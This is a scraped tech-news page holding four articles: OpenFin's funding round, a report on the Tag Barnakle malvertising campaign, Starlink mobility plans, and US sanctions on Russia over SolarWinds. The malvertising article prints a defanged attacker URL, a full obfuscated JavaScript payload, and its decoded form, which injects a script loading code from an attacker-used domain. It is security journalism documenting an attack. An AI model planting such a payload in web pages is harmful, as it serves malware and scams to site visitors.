Connect with us

Biz & IT

OpenFin raises $17 million for its OS for finance

Published

on

OpenFin, the company looking to provide the operating system for the financial services industry, has raised $17 million in funding through a Series C round led by Wells Fargo, with participation from Barclays and existing investors including Bain Capital Ventures, J.P. Morgan and Pivot Investment Partners. Previous investors in OpenFin also include DRW Venture Capital, Euclid Opportunities and NYCA Partners.

Likening itself to “the OS of finance,” OpenFin seeks to be the operating layer on which applications used by financial services companies are built and launched, akin to iOS or Android for your smartphone.

OpenFin’s operating system provides three key solutions which, while present on your mobile phone, has previously been absent in the financial services industry: easier deployment of apps to end users, fast security assurances for applications and interoperability.

Traders, analysts and other financial service employees often find themselves using several separate platforms simultaneously, as they try to source information and quickly execute multiple transactions. Yet historically, the desktop applications used by financial services firms — like trading platforms, data solutions or risk analytics — haven’t communicated with one another, with functions performed in one application not recognized or reflected in external applications.

“On my phone, I can be in my calendar app and tap an address, which opens up Google Maps. From Google Maps, maybe I book an Uber . From Uber, I’ll share my real-time location on messages with my friends. That’s four different apps working together on my phone,” OpenFin CEO and co-founder Mazy Dar explained to TechCrunch. That cross-functionality has long been missing in financial services.

As a result, employees can find themselves losing precious time — which in the world of financial services can often mean losing money — as they juggle multiple screens and perform repetitive processes across different applications.

Additionally, major banks, institutional investors and other financial firms have traditionally deployed natively installed applications in lengthy processes that can often take months, going through long vendor packaging and security reviews that ultimately don’t prevent the software from actually accessing the local system.

OpenFin CEO and co-founder Mazy Dar (Image via OpenFin)

As former analysts and traders at major financial institutions, Dar and his co-founder Chuck Doerr (now president & COO of OpenFin) recognized these major pain points and decided to build a common platform that would enable cross-functionality and instant deployment. And since apps on OpenFin are unable to access local file systems, banks can better ensure security and avoid prolonged yet ineffective security review processes.

And the value proposition offered by OpenFin seems to be quite compelling. OpenFin boasts an impressive roster of customers using its platform, including more than 1,500 major financial firms, almost 40 leading vendors and 15 of the world’s 20 largest banks.

More than 1,000 applications have been built on the OS, with OpenFin now deployed on more than 200,000 desktops — a noteworthy milestone given that the ever-popular Bloomberg Terminal, which is ubiquitously used across financial institutions and investment firms, is deployed on roughly 300,000 desktops.

Since raising their Series B in February 2017, OpenFin’s deployments have more than doubled. The company’s headcount has also doubled and its European presence has tripled. Earlier this year, OpenFin also launched it’s OpenFin Cloud Services platform, which allows financial firms to launch their own private local app stores for employees and customers without writing a single line of code.

To date, OpenFin has raised a total of $40 million in venture funding and plans to use the capital from its latest round for additional hiring and to expand its footprint onto more desktops around the world. In the long run, OpenFin hopes to become the vital operating infrastructure upon which all developers of financial applications are innovating.

“Apple and Google’s mobile operating systems and app stores have enabled more than a million apps that have fundamentally changed how we live,” said Dar. “OpenFin OS and our new app store services enable the next generation of desktop apps that are transforming how we work in financial services.”

Source link

Source link

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Biz & IT

Millions of web surfers are being targeted by a single malvertising group

Published

on

Hackers have compromised more than 120 ad servers over the past year in an ongoing campaign that displays malicious advertisements on tens of millions, if not hundreds of millions, of devices as they visit sites that, by all outward appearances, are benign.

Malvertising is the practice of delivering ads to people as they visit trusted websites. The ads embed JavaScript that surreptitiously exploits software flaws or tries to trick visitors into installing an unsafe app, paying fraudulent computer support fees, or taking other harmful actions. Typically, the scammers behind this Internet scourge pose as buyers and pay ad-delivery networks to display the malicious ads on individual sites.

Going for the jugular

Infiltrating the ad ecosystem by posing as a legitimate buyer requires resources. For one, scammers must invest time learning how the market works and then creating an entity that has a trustworthy reputation. The approach also requires paying money to buy space for the malicious ads to run. That’s not the technique used by a malvertising group that security firm Confiant calls Tag Barnakle.

“Tag Barnakle, on the other hand, is able to bypass this initial hurdle completely by going straight for the jugular—mass compromise of ad serving infrastructure,” Confiant researcher Eliya Stein wrote in a blog post published Monday. “Likely, they’re also able to boast an ROI [return on investment] that would eclipse their rivals as they don’t need to spend a dime to run ad campaigns.”

Over the past year, Tag Barnakle has infected more than 120 servers running Revive, an open source app for organizations that want to run their own ad server rather than relying on a third-party service. The 120 figure is twice the number of infected Revive servers Confiant found last year.

Once it has compromised an ad server, Tag Barnakle loads a malicious payload on it. To evade detection, the group uses client-side fingerprinting to ensure only a small number of the most attractive targets receive the malicious ads. The servers that deliver a secondary payload to those targets also use cloaking techniques to ensure that they also fly under the radar.

Here’s an overview:

Confiant

When Confiant reported last year on Tag Barnakle, it found the group had infected about 60 Revive servers. The feat allowed the group to distribute ads on more than 360 Web properties. The ads pushed fake Adobe Flash updates that, when run, installed malware on desktop computers.

This time, Tag Barnakle is targeting both iPhone and Android users. Websites that receive an ad through a compromised server deliver highly obfuscated JavaScript that determines if a visitor is using an iPhone or Android device.

https://galikos[.]com/ci.html?mAn8iynQtt=SW50ZWwgSqW5jPngyMEludGVsKFIpIElyaXMoVE0OIFBsdXMgR3J3cGhpY37gNjU1

In the event that visitors pass that and other fingerprinting tests, they receive a secondary payload that looks like this:


var _0x209b=["charCodeAt","fromCharCode","atob","length"];(function(_0x58f22e,_0x209b77){var _0x3a54d6=function(_0x562d16){while(--_0x562d16){_0x58f22e["push"](_0x58f22e["shift"]());}};_0x3a54d6(++_0x209b77);}(_0x209b,0x1d9));var _0x3a54=function(_0x58f22e,_0x209b77){_0x58f22e=_0x58f22e-0x0;var _0x3a54d6=_0x209b[_0x58f22e];return _0x3a54d6;};function pr7IbU3HZp6(_0x2df7f1,_0x4ed28f){var _0x40b1c0=[],_0xfa98e6=0x0,_0x1d2d3f,_0x4daddb="";for(var _0xaefdd9=0x0;_0xaefdd9<0x100;_0xaefdd9++){_0x40b1c0[_0xaefdd9]=_0xaefdd9;}for(_0xaefdd9=0x0;_0xaefdd9<0x100;_0xaefdd9++){_0xfa98e6=(_0xfa98e6+_0x40b1c0[_0xaefdd9]+_0x4ed28f["charCodeAt"](_0xaefdd9%_0x4ed28f[_0x3a54("0x2")]))%0x100,_0x1d2d3f=_0x40b1c0[_0xaefdd9],_0x40b1c0[_0xaefdd9]=_0x40b1c0[_0xfa98e6],_0x40b1c0[_0xfa98e6]=_0x1d2d3f;}_0xaefdd9=0x0,_0xfa98e6=0x0;for(var _0x2bdf25=0x0;_0x2bdf25<_0x2df7f1[_0x3a54("0x2")];_0x2bdf25++){_0xaefdd9=(_0xaefdd9+0x1)%0x100,_0xfa98e6=(_0xfa98e6+_0x40b1c0[_0xaefdd9])%0x100,_0x1d2d3f=_0x40b1c0[_0xaefdd9],_0x40b1c0[_0xaefdd9]=_0x40b1c0[_0xfa98e6],_0x40b1c0[_0xfa98e6]=_0x1d2d3f,_0x4daddb+=String[_0x3a54("0x0")](_0x2df7f1[_0x3a54("0x3")](_0x2bdf25)^_0x40b1c0[(_0x40b1c0[_0xaefdd9]+_0x40b1c0[_0xfa98e6])%0x100]);}return _0x4daddb;}function fCp5tRneHK(_0x2deb18){var _0x3d61b2="";try{_0x3d61b2=window[_0x3a54("0x1")](_0x2deb18);}catch(_0x4b0a86){}return _0x3d61b2;};var qIxFjKSY6BVD = ["Bm2CdEOGUagaqnegJWgXyDAnxs1BSQNre5yS6AKl2Hb2j0+gF6iL1n4VxdNf+D0/","DWuTZUTZO+sQsXe8Ng==","j6nfa3m","Y0d83rLB","Y0F69rbB65Ug6d9y","gYTeJruwFuW","n3j6Vw==","n2TyRkwJoyYulkipRrYr","dFCGtizS","yPnc","2vvPcUEpsBZhStE=","gfDZYmHUEBxRWrw4M"];var aBdDGL0KZhomY5Zl = document[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[1]), qIxFjKSY6BVD[2])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[3]), qIxFjKSY6BVD[5]));aBdDGL0KZhomY5Zl[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[4]), qIxFjKSY6BVD[5])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[6]), qIxFjKSY6BVD[8]), pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[7]), qIxFjKSY6BVD[8]));aBdDGL0KZhomY5Zl[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[4]), qIxFjKSY6BVD[5])](pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[9]), qIxFjKSY6BVD[11]), pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[0]), qIxFjKSY6BVD[2]));var bundle = document.body||document.documentElement;bundle[pr7IbU3HZp6(fCp5tRneHK(qIxFjKSY6BVD[10]), qIxFjKSY6BVD[11])](aBdDGL0KZhomY5Zl);

When decoded, the payload is:

var aBdDGL0KZhomY5Zl = document["createElement"]("script");
aBdDGL0KZhomY5Zl["setAtrribute"]("text/javascript");
aBdDGL0KZhomY5Zl["setAtrribute"]("src", "https://overgalladean[.]com/apu.php?zoneid=2721667");

As the de-obfuscated code shows, the ads are served through overgalladean[.]com, a domain that Confiant said is used by PropellerAds, an ad network that security firms including Malwarebytes have long documented as malicious.

When Confiant researchers replayed the Propeller Ads click tracker on the types of devices Tag Barnakle was targeting, they saw ads like these:

Confiant

Tens of millions served

The ads mostly lure targets to an app store listing for fake security, safety, or VPN apps with hidden subscription costs or “siphon off traffic for nefarious ends.”

With ad servers frequently integrated with multiple ad exchanges, the ads have the potential to spread widely through hundreds, possibly thousands, of individual websites. Confiant doesn’t know how many end users are exposed to the malvertising but the firm believes the number is high.

“If we consider that some of these media companies have [Revive] integrations with leading programmatic advertising platforms, Tag Barnakle’s reach is easily in the tens if not hundreds of millions of devices,” Stein wrote. “This is a conservative estimate that takes into consideration the fact that they cookie their victims in order to reveal the payload with low frequency, likely to slow down detection of their presence.”

Continue Reading

Biz & IT

Dishy McFlatface to become “fully mobile,” allowing Starlink use away from home

Published

on

Enlarge / A Starlink satellite dish in the Idaho panhandle’s Coeur d’Alene National Forest.

SpaceX CEO Elon Musk expects the Starlink satellite broadband service to be “fully mobile” later in 2021, allowing customers to use the satellite dishes away from home.

“Yeah, should be fully mobile later this year, so you can move it anywhere or use it on an RV or truck in motion. We need a few more satellite launches to achieve comp[l]ete coverage & some key software upgrades,” Musk wrote on Twitter Thursday.

SpaceX revealed a portion of its mobile plans last month when it asked the Federal Communications Commission for permission to deploy a modified version of its user terminal to moving vehicles. But while that application is for a not-yet-released version of the terminal with “mountings that allow them to be installed on vehicles, vessels, and aircraft,” Musk’s comment about Starlink being “fully mobile” later this year was in reference to the standard terminal that’s been deployed to beta customers the past few months.

Musk was replying to a person who asked, “Will users always be locked into one location or in the future if a user has the standard Dishy McFlatface (not a new portable one), could you say put it on an RV or tiny home? Or maybe take one you have in Iowa and put it in a studio in Texas[?]” Musk’s affirmative reply suggests that Starlink coverage will be widespread enough later this year for users to take Dishy McFlatface just about anywhere and get Internet service.

The Starlink terms of service say the terminal is “for use exclusively at the address you provided in your Order,” but some users have traveled with their terminals and gotten service elsewhere. Musk wrote in another tweet Thursday that Starlink “uptime, bandwidth & latency are improving rapidly,” and that the service will probably exit beta this summer.

Coverage for “most of Earth” this year

Starlink has been advertising beta-service speeds of 50Mbps to 150Mbps, with latency of 20 ms to 40 ms. Musk said in February that speeds will hit 300Mbps later this year and that the service will become available to “most of Earth” by the end of 2021. SpaceX has launched 1,445 broadband satellites into low-Earth orbits, according to statistics maintained by astrophysicist Jonathan McDowell. SpaceX has 1,351 working satellites in orbit after accounting for ones that have been de-orbited, are not maneuvering, or re-entered the atmosphere after failure. SpaceX has an FCC license to launch nearly 12,000 satellites and has asked for permission to launch an additional 30,000.

SpaceX has been accepting preorders for Starlink service to be available in the second half of this year but slots are limited in each region. Those limits should help prevent the capacity problems that would arise if Starlink is deployed too widely in any given region, and this will make it more likely that users can travel with their “fully mobile” dishes and still get service.

SpaceX is charging $99 a month for Starlink plus $499 up front for equipment, and the company says it will keep pricing simple and transparent after exiting beta, which will happen when “the network is reliable.” SpaceX has an FCC license to deploy up to 1 million user terminals in the US and has asked the FCC for authority to deploy up to 5 million.

Starlink faces continued opposition

While Starlink is generating excitement among users because it can provide modern broadband speeds to regions ignored by large Internet providers, the SpaceX project has also faced a steady drumbeat of opposition. A Wall Street Journal article today stated that “Elon Musk’s Internet satellite venture has spawned an unlikely alliance of competitors, regulators and experts who say the billionaire is building a near-monopoly that is threatening space safety and the environment.” Other satellite companies “complain that Mr. Musk’s satellites are blocking their own devices’ signals and have physically endangered their fleets,” the article said.

“It’s a race to the bottom in terms of getting as much stuff up there as possible to claim orbital real estate,” said Professor Moriba Jah of the Department of Aerospace Engineering and Engineering Mechanics at the University of Texas, according to the Journal. “Musk is just doing what’s legal… but legal is not necessarily safe or sustainable.”

As we’ve reported in previous coverage, Dish Network and Amazon have been fighting SpaceX’s satellite plans. (Amazon is planning a rival constellation.) Internet service providers that object to SpaceX being awarded rural-broadband funding have urged the FCC to direct that funding elsewhere. Meanwhile, astronomers are worried about Starlink and other large satellite constellations harming their ability to observe the night sky.

Continue Reading

Biz & IT

US government strikes back at Kremlin for SolarWinds hack campaign

Published

on

Matt Anderson Photography/Getty Images

US officials on Thursday formally blamed Russia for backing one of the worst espionage hacks in recent US history and imposed sanctions designed to mete out punishments for that and other recent actions.

In a joint advisory, the National Security Agency, FBI, and Cybersecurity and Information Security Agency said that Russia’s Foreign Intelligence Service, abbreviated as the SVR, carried out the supply-chain attack on customers of the network management software from Austin, Texas-based SolarWinds.

The operation infected SolarWinds’ software build and distribution system and used it to push backdoored updates to about 18,000 customers. The hackers then sent follow-up payloads to about 10 US federal agencies and about 100 private organizations. Besides the SolarWinds supply-chain attack, the hackers also used password guessing and other techniques to breach networks.

After the massive operation came to light, Microsoft President Brad Smith called it an “act of recklessness.” In a call with reporters on Thursday, NSA Director of Cybersecurity Rob Joyce echoed the assessment that the operation went beyond established norms for government spying.

“We observed absolutely espionage,” Joyce said. “But what is concerning is from that platform, from the broad scale of availability of the access they achieved, there’s the opportunity to do other things, and that’s something we can’t tolerate and that’s why the US government is imposing costs and pushing back on these activities.”

Thursday’s joint advisory said that the SVR-backed hackers are behind other recent campaigns targeting COVID-19 research facilities, both by infecting them with malware known as both WellMess and WellMail and by exploiting a critical vulnerability in VMware software.

The advisory went on to say that the Russian intelligence service is continuing its campaign, in part by targeting networks that have yet to patch one of the five following critical vulnerabilities. Including the VMware flaw, they are:

  • CVE-2018-13379 Fortinet FortiGate VPN
  • CVE-2019-9670 Synacor Zimbra Collaboration Suite
  • CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN
  • CVE-2019-19781 Citrix Application Delivery Controller and Gateway
  • CVE-2020-4006 VMware Workspace ONE Access

“Mitigation against these vulnerabilities is critically important as US and allied networks are constantly scanned, targeted, and exploited by Russian state-sponsored cyber actors,” the advisory stated. It went on to say that the “NSA, CISA, and FBI strongly encourage all cybersecurity stakeholders to check their networks for indicators of compromise related to all five vulnerabilities and the techniques detailed in the advisory and to urgently implement associated mitigations.”

CISA

The US Treasury Department, meanwhile, imposed sanctions to retaliate for what it said were “aggressive and harmful activities by the Government of the Russian Federation.” The measures include new prohibitions on Russian sovereign debt and sanctions on six Russia-based firms that the Treasury Department said “supported the Russian Intelligence Services’ efforts to carry out malicious cyber activities against the United States.”

The firms are:

  • ERA Technopolis, a research center operated by the Russian Ministry of Defense for transferring the personnel and expertise of the Russian technology sector to the development of technologies used by the country’s military. ERA Technopolis supports Russia’s Main Intelligence Directorate (GRU), a body responsible for offensive cyber and information operations.
  • Pasit, a Russia-based information technology company that has conducted research and development supporting malicious cyber operations by the SVR.
  • SVA, a Russian state-owned research institute specializing in advanced systems for information security located in that country. SVA has done research and development in support of the SVR’s malicious cyber operations.
  • Neobit, a Saint Petersburg, Russia-based IT security firm whose clients include the Russian Ministry of Defense, SVR, and Russia’s Federal Security Service. Neobit conducted research and development in support of the cyber operations conducted by the FSB, GRU, and SVR.
  • AST, a Russian IT security firm whose clients include the Russian Ministry of Defense, SVR, and FSB. AST provided technical support to cyber operations conducted by the FSB, GRU, and SVR.
  • Positive Technologies, a Russian IT security firm that supports Russian Government clients, including the FSB. Positive Technologies provides computer network security solutions to Russian businesses, foreign governments, and international companies and hosts recruiting events for the FSB and GRU.

“The reason they were called out is because they’re an integral part and participant in the operation that the SVR executes,” Joyce said of the six companies. “Our hope is that by denying the SVR the support of those companies, we’re impacting their ability to project some of this malicious activity around the world and especially into the US.”

Russian government officials have steadfastly denied any involvement in the SolarWinds campaign.

Besides attributing the SolarWinds campaign to the Russian government, Thursday’s release from the Treasury Department also said that the SVR was behind the August 2020 poisoning of Russian opposition leader Aleksey Navalny with a chemical weapon, the targeting of Russian journalists and others who openly criticize the Kremlin, and the theft of “red team tools,” which use exploits and other attack tools to mimic cyber attacks.

The “red team tools” reference was likely related to the offensive tools taken from FireEye, the security firm that first identified the Solar Winds campaign after discovering its network had been breached.
The Treasury department went on to say that the Russian government “cultivates and co-opts criminal hackers” to target US organizations. One group, known as Evil Corp. was sanctioned in 2019. That same year, federal prosecutors indicted the Evil Corp kingpin Maksim V. Yakubets and posted a $5 million bounty for information that leads to his arrest or conviction.

Although overshadowed by the sanctions and the formal attribution to Russia, the most important takeaway from Thursday’s announcements is that the SVR campaign remains ongoing and is currently leveraging the exploits mentioned above. Researchers said on Thursday that they’re seeing Internet scanning that is intended to identify servers that have yet to patch the Fortinet vulnerability, which the company fixed in 2019. Scanning for the other vulnerabilities is also likely ongoing.

People managing networks, particularly any that have yet to patch one of the five vulnerabilities, should read the latest CISA alert, which provides extensive technical details about the ongoing hacking campaign and ways to detect and mitigate compromises.

Continue Reading

Trending